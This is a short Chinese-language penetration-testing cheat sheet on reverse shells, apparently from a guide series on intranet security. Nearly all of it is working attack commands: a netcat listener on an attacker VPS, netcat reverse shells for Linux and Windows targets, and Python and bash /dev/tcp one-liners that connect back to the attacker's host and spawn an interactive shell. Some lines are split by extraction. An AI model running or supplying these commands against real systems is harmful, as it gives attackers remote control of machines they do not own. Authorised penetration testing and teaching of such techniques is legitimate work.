内网安全-渗透测试指南（三）

反向 Shell

       VPS 上执⾏： nc -lvvp 9999 ⽬标主机上执⾏： [Linux] nc VPS_ip 9999 -e /bin/sh [Windows] nc VPS_IP 9999 -e

c:\windows\system32\cmd.exe

    ⽬标主机没有 NC 时获取反向 Shell

             Python

                   python -c 'import

 socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_ip",9999));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

         Bash

                   bash -i >& /dev/tcp/VPS_IP/9999 0>&1